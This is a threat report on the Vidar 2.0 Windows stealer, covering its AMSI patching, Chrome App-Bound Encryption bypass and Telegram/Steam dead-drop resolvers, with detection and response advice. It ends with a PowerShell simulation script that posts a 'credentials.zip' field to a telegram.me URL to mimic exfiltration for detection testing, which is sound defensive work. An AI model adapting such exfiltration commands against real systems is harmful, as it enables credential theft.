Vidar Malware Explained: Inside the Multithreaded Windows Stealer

Summary

Vidar is an advanced Windows-based information stealer distributed through a Malware-as-a-Service (MaaS) model. The latest release, Vidar 2.0, introduces a full C rewrite, a multithreaded engine for rapid data collection, and advanced evasion capabilities such as AMSI patching and App-Bound Encryption bypass through memory scanning and APC injection. Stolen information is exfiltrated through resilient infrastructure that uses Telegram and Steam profiles as dead-drop resolvers.

Investigation

The report examines the technical behavior of Vidar 2.0, with particular focus on its method for bypassing Chrome App-Bound Encryption. The malware forks browser processes and uses Asynchronous Procedure Calls (APC) to force the browser to decrypt its own master key. Researchers also analyzed the loader’s use of file-size inflation and fraudulent code-signing to evade automated sandbox environments.

Mitigation

Defenders should deploy strong endpoint detection capable of identifying suspicious process forking through NtCreateProcessEx and APC injection into browser processes. Monitoring for abnormally large executable files and unauthorized modifications to amsi.dll or AmsiScanBuffer can help uncover evasion attempts. Restricting unauthorized access to browser profile directories and credential stores is also essential.

Response

If Vidar activity is detected, the affected host should be isolated immediately to stop further data exfiltration. Investigators should perform memory forensics to identify the processes and threads involved in the ABE bypass. All exposed credentials, including browser passwords, cloud tokens, and cryptocurrency wallet keys, should be reset, followed by a review of account activity for unauthorized access.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: The adversary has successfully deployed a credential stealer on the endpoint. To avoid detection by traditional firewall rules that block unknown IPs, the malware uses “Dead-Drop Resolvers.” It makes an HTTP POST request to a legitimate service (like Steam or Telegram) to signal its presence or exfiltrate small chunks of data. The attacker uses a multipart/form-data POST request, embedding a Telegram URL within the payload to provide the next C2 instruction, mimicking a legitimate user interaction with web-based social platforms.

• Regression Test Script:

  # Simulate Vidar-style data exfiltration via HTTP POST to a Telegram-related URL
  $url = "https://telegram.me/search?q=malicious_cmd"
  $body = @{
      file = "credentials.zip"
      data = "dummy_data_content"
  }
  
  # Using Invoke-RestMethod to simulate a multipart POST request
  Invoke-RestMethod -Uri $url -Method Post -Body $body

• Cleanup Commands:

  # No permanent artifacts are created by the simulation script, 
  # but we can clear the local proxy cache if necessary.
  Write-Host "Simulation complete. No local files were created."